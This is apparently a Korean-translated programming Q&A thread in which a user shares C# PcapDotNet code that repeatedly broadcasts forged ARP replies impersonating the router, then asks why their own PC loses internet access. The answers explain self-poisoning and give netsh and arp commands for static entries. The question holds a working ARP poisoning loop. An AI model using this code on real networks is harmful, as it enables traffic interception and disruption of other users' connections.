2013-03-17 9 views
1
나는 다음 코드를 사용하여 ARP 독 패킷을 생성하는 PcapDotNet을 사용하고

:ARP 중독

using (PacketCommunicator communicator = 
      selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) 
     { 
      while (true) 
      { 
       Packet arp; 

       EthernetLayer ethernetLayer = new EthernetLayer 
       { 
        Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac 
        Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP 
        EtherType = EthernetType.None, // Will be filled automatically. 
       }; 

       ArpLayer arpLayer = new ArpLayer 
       { 
        ProtocolType = EthernetType.IpV4, 
        Operation = ArpOperation.Reply, 
        SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC 
        SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP 

        TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(), 
        TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(), 
       }; 

       PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer); 

       arp = builder.Build(DateTime.Now); 

       communicator.SendPacket(arp); 
       System.Threading.Thread.Sleep(500); 
      } 
     } 

문제는 : 나는 원격 장치를 독살 수 있습니다,하지만 난 너무 내 PC에서 인터넷을 잃은 (중독 나에게?). 아마도 문제는 내가 (내 방식으로) 내 자신의 시스템이 내 보낸 패킷을 읽지 않기를 원한다는 것을 나타내야한다는 것입니다.하지만 어떻게 알지는 못합니다 ... 누군가가 내게 무엇이 문제인지 설명 할 수 있습니까? ?

+0

개념 테스트 만 수행 중 ... –

답변

0

라우터 내부 IP에 대한 포이즌 레코드를 만들 가능성이 있습니까? 그렇다면 인터넷 연결이 작동을 멈추게하는 것은 놀랄 일이 아닙니다. OS가 더 이상 라우터와 인터넷에 아무 것도 보낼 수 없기 때문입니다.

2

게이트 웨이 IP가 포함 된 ARP 항목을 올바른 하드웨어 주소로 정적으로 표시하십시오. 이 이렇게하려면 관리자 권한으로 cmd를에서 다음을 실행합니다

netsh interface ip add neighbors "{Network Device}" {IP Address} {MAC Address} 

네트워크 장치는 예를 위한 "로컬 영역 연결" 또는 "이더넷" (따옴표를 잊지 마세요). 현재 사용중인 네트워크 장치를 찾으려면 "ncpa.cpl"명령을 실행하십시오. 정적 항목을 삭제하려면

는 cmd를에서 다음 명령을 실행합니다, 또한

netsh interface ip delete neighbors "{Network Device}" {IP Address} 

을 이유 중 하나는 당신이 어떤 인터넷이없는 가질 수 있음을 염두에 두어야하기 때문에 네트워크의 모든 트래픽 귀하의 호스트로 리디렉션됩니다. 호스트가 라우터와 동일한 기능을 가지고 있지 않기 때문에 네트워크 정체가 발생할 수 있습니다. 자신이 중독되어 인터넷에 접속할 수없는 이유는 cmd에 "arp -a"명령을 실행하고 라우터의 하드웨어 주소를 확인하십시오. 하드웨어 주소가 호스트의 하드웨어 주소와 같으면 스스로 중독됩니다.